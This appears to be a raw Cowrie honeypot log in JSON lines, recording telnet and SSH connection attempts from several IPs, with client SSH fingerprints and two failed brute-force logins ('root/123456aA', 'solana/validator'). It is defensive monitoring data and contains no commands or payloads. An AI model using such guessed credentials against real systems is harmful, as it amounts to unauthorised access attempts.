{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":55840,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd2a0232c7d5","protocol":"telnet","message":"New connection: 108.179.216.206:55840 (10.17.0.5:23) [session: bd2a0232c7d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:51.561972Z"}
{"eventid":"cowrie.session.closed","duration":31.61992120742798,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:51.895756Z","src_ip":"108.179.216.206","session":"595ddb7c7968","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":43614,"dst_ip":"159.203.135.109","dst_port":23,"session":"476a6960d883","protocol":"telnet","message":"New connection: 209.126.87.217:43614 (159.203.135.109:23) [session: 476a6960d883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:52.299899Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":57060,"dst_ip":"10.17.0.5","dst_port":23,"session":"549aea4a5112","protocol":"telnet","message":"New connection: 108.179.216.206:57060 (10.17.0.5:23) [session: 549aea4a5112]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:52.593548Z"}
{"eventid":"cowrie.session.closed","duration":31.15368676185608,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:52.699085Z","src_ip":"108.179.216.206","session":"15fab93c4985","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96535587310791,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:53.045156Z","src_ip":"108.179.216.206","session":"202b8a04bb27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.720580577850342,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:53.293617Z","src_ip":"108.179.216.206","session":"c9fc000604c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":43628,"dst_ip":"159.203.135.109","dst_port":23,"session":"a05555671755","protocol":"telnet","message":"New connection: 209.126.87.217:43628 (159.203.135.109:23) [session: a05555671755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:53.481992Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":43640,"dst_ip":"159.203.135.109","dst_port":23,"session":"2514d3fe85f1","protocol":"telnet","message":"New connection: 209.126.87.217:43640 (159.203.135.109:23) [session: 2514d3fe85f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:53.597005Z"}
{"eventid":"cowrie.session.closed","duration":34.08789610862732,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:54.400098Z","src_ip":"209.126.87.217","session":"6008f8750283","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":60040,"dst_ip":"10.17.0.5","dst_port":23,"session":"41094489e1fe","protocol":"telnet","message":"New connection: 108.179.216.206:60040 (10.17.0.5:23) [session: 41094489e1fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:56.272207Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":43642,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8357d2c9072","protocol":"telnet","message":"New connection: 209.126.87.217:43642 (159.203.135.109:23) [session: a8357d2c9072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:57.217039Z"}
{"eventid":"cowrie.session.closed","duration":120.00188207626343,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:57.559882Z","src_ip":"170.82.106.219","session":"064236ac28ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.82.106.219","src_port":39180,"dst_ip":"10.17.0.5","dst_port":23,"session":"aaaf39ebf0bb","protocol":"telnet","message":"New connection: 170.82.106.219:39180 (10.17.0.5:23) [session: aaaf39ebf0bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:58.310546Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":43650,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c362479f5fd","protocol":"telnet","message":"New connection: 209.126.87.217:43650 (159.203.135.109:23) [session: 5c362479f5fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:58.315188Z"}
{"eventid":"cowrie.session.closed","duration":33.236507415771484,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:58.643874Z","src_ip":"209.126.87.217","session":"6be1d361279e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.534735441207886,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:58.755723Z","src_ip":"209.126.87.217","session":"a9d30c943e3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51123547554016,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:59.162297Z","src_ip":"108.179.216.206","session":"917ee563b9b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.39459204673767,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:59.305672Z","src_ip":"209.126.87.217","session":"f3f55cbb2676","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.51331162452698,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:59.518540Z","src_ip":"209.126.87.217","session":"6f3d668ee898","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.60463237762451,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:59.653853Z","src_ip":"108.179.216.206","session":"0848f4d6a9d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":41780,"dst_ip":"159.203.135.109","dst_port":23,"session":"07ef89f39c9e","protocol":"telnet","message":"New connection: 209.126.87.217:41780 (159.203.135.109:23) [session: 07ef89f39c9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:00.145503Z"}
{"eventid":"cowrie.session.closed","duration":31.361713647842407,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:00.381135Z","src_ip":"108.179.216.206","session":"40c8d7641a47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.68495750427246,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:02.406778Z","src_ip":"209.126.87.217","session":"eae4057089be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.26017165184021,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:03.020903Z","src_ip":"108.179.216.206","session":"8b5528001379","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":39852,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a47e317a174","protocol":"telnet","message":"New connection: 108.179.216.206:39852 (10.17.0.5:23) [session: 4a47e317a174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:03.609208Z"}
{"eventid":"cowrie.session.closed","duration":31.13007116317749,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:04.174343Z","src_ip":"108.179.216.206","session":"4c6846235389","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":40764,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd7a69ff5584","protocol":"telnet","message":"New connection: 108.179.216.206:40764 (10.17.0.5:23) [session: bd7a69ff5584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:04.757275Z"}
{"eventid":"cowrie.session.closed","duration":32.770432472229004,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:04.818507Z","src_ip":"209.126.87.217","session":"d9e44819c28e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.37604856491089,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:06.116067Z","src_ip":"108.179.216.206","session":"0366899d58a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.77301096916199,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:06.434015Z","src_ip":"209.126.87.217","session":"5539123f5e62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":41794,"dst_ip":"159.203.135.109","dst_port":23,"session":"66e5c999b570","protocol":"telnet","message":"New connection: 209.126.87.217:41794 (159.203.135.109:23) [session: 66e5c999b570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:07.174894Z"}
{"eventid":"cowrie.session.closed","duration":30.714582204818726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:07.214885Z","src_ip":"108.179.216.206","session":"4520b5d9bc66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":41800,"dst_ip":"159.203.135.109","dst_port":23,"session":"16d33cb5e2e4","protocol":"telnet","message":"New connection: 209.126.87.217:41800 (159.203.135.109:23) [session: 16d33cb5e2e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:07.347261Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":40698,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d7774fea789","protocol":"telnet","message":"New connection: 108.179.216.206:40698 (10.17.0.5:23) [session: 1d7774fea789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:07.700355Z"}
{"eventid":"cowrie.session.closed","duration":120.00078678131104,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:08.894593Z","src_ip":"170.82.106.219","session":"4f30a7b12b8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":41812,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fd323cde5ad","protocol":"telnet","message":"New connection: 209.126.87.217:41812 (159.203.135.109:23) [session: 4fd323cde5ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:09.431330Z"}
{"eventid":"cowrie.session.closed","duration":31.548010110855103,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:09.623637Z","src_ip":"108.179.216.206","session":"81244e6e9556","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.201648712158203,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:13.237394Z","src_ip":"108.179.216.206","session":"6b4b5a2a90ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.10117244720459,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:13.668072Z","src_ip":"209.126.87.217","session":"93cd868b4a65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.851059198379517,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:14.302480Z","src_ip":"108.179.216.206","session":"60016785d1c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":60436,"dst_ip":"159.203.135.109","dst_port":23,"session":"c431dc9b79ce","protocol":"telnet","message":"New connection: 209.126.87.217:60436 (159.203.135.109:23) [session: c431dc9b79ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:15.241295Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":60444,"dst_ip":"159.203.135.109","dst_port":23,"session":"6585f2f732e1","protocol":"telnet","message":"New connection: 209.126.87.217:60444 (159.203.135.109:23) [session: 6585f2f732e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:15.298703Z"}
{"eventid":"cowrie.session.closed","duration":31.2145676612854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:15.659826Z","src_ip":"108.179.216.206","session":"73940a0a21ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":60448,"dst_ip":"159.203.135.109","dst_port":23,"session":"db613d0b5b10","protocol":"telnet","message":"New connection: 209.126.87.217:60448 (159.203.135.109:23) [session: db613d0b5b10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:16.164901Z"}
{"eventid":"cowrie.session.closed","duration":31.186399221420288,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:16.650809Z","src_ip":"108.179.216.206","session":"2e9ad26d2302","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":54836,"dst_ip":"159.203.135.109","dst_port":22,"session":"be9533b2011e","protocol":"ssh","message":"New connection: 171.244.141.86:54836 (159.203.135.109:22) [session: be9533b2011e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:18.212643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:18.217657Z","src_ip":"171.244.141.86","session":"be9533b2011e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":53818,"dst_ip":"10.17.0.5","dst_port":23,"session":"050db13d53b5","protocol":"telnet","message":"New connection: 108.179.216.206:53818 (10.17.0.5:23) [session: 050db13d53b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:18.238485Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:18.465349Z","src_ip":"171.244.141.86","session":"be9533b2011e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":54116,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e5c74347013","protocol":"telnet","message":"New connection: 108.179.216.206:54116 (10.17.0.5:23) [session: 0e5c74347013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:18.504460Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":42704,"dst_ip":"10.17.0.5","dst_port":22,"session":"22487374922c","protocol":"ssh","message":"New connection: 80.94.92.182:42704 (10.17.0.5:22) [session: 22487374922c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:19.291520Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":55142,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b6f4e0c2d2d","protocol":"telnet","message":"New connection: 108.179.216.206:55142 (10.17.0.5:23) [session: 6b6f4e0c2d2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:19.385753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:19.391809Z","src_ip":"80.94.92.182","session":"22487374922c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456aA","message":"login attempt [root/123456aA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:19.492489Z","src_ip":"171.244.141.86","session":"be9533b2011e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:19.523361Z","src_ip":"80.94.92.182","session":"22487374922c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":52692,"dst_ip":"10.17.0.5","dst_port":23,"session":"258b163054a0","protocol":"telnet","message":"New connection: 108.179.216.206:52692 (10.17.0.5:23) [session: 258b163054a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:19.791802Z"}
{"eventid":"cowrie.session.closed","duration":0.0055119991302490234,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:19.797171Z","src_ip":"108.179.216.206","session":"258b163054a0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"solana","password":"validator","message":"login attempt [solana/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:20.363882Z","src_ip":"80.94.92.182","session":"22487374922c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:20.741499Z","src_ip":"171.244.141.86","session":"be9533b2011e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.658370971679688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:21.032024Z","src_ip":"108.179.216.206","session":"5fece32a04ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:21.530540Z","src_ip":"80.94.92.182","session":"22487374922c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.55130171775818,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:22.113147Z","src_ip":"108.179.216.206","session":"bd2a0232c7d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":58468,"dst_ip":"10.17.0.5","dst_port":23,"session":"e43bc57a4d12","protocol":"telnet","message":"New connection: 108.179.216.206:58468 (10.17.0.5:23) [session: e43bc57a4d12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:22.669129Z"}
{"eventid":"cowrie.session.closed","duration":30.54859209060669,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:23.142009Z","src_ip":"108.179.216.206","session":"549aea4a5112","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.176581382751465,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:25.476398Z","src_ip":"209.126.87.217","session":"476a6960d883","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.86.48","src_port":52506,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f8480935045","protocol":"ssh","message":"New connection: 45.43.86.48:52506 (10.17.0.5:22) [session: 7f8480935045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:25.612212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:25.616630Z","src_ip":"45.43.86.48","session":"7f8480935045","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:25.704362Z","src_ip":"45.43.86.48","session":"7f8480935045","protocol":"ssh"}
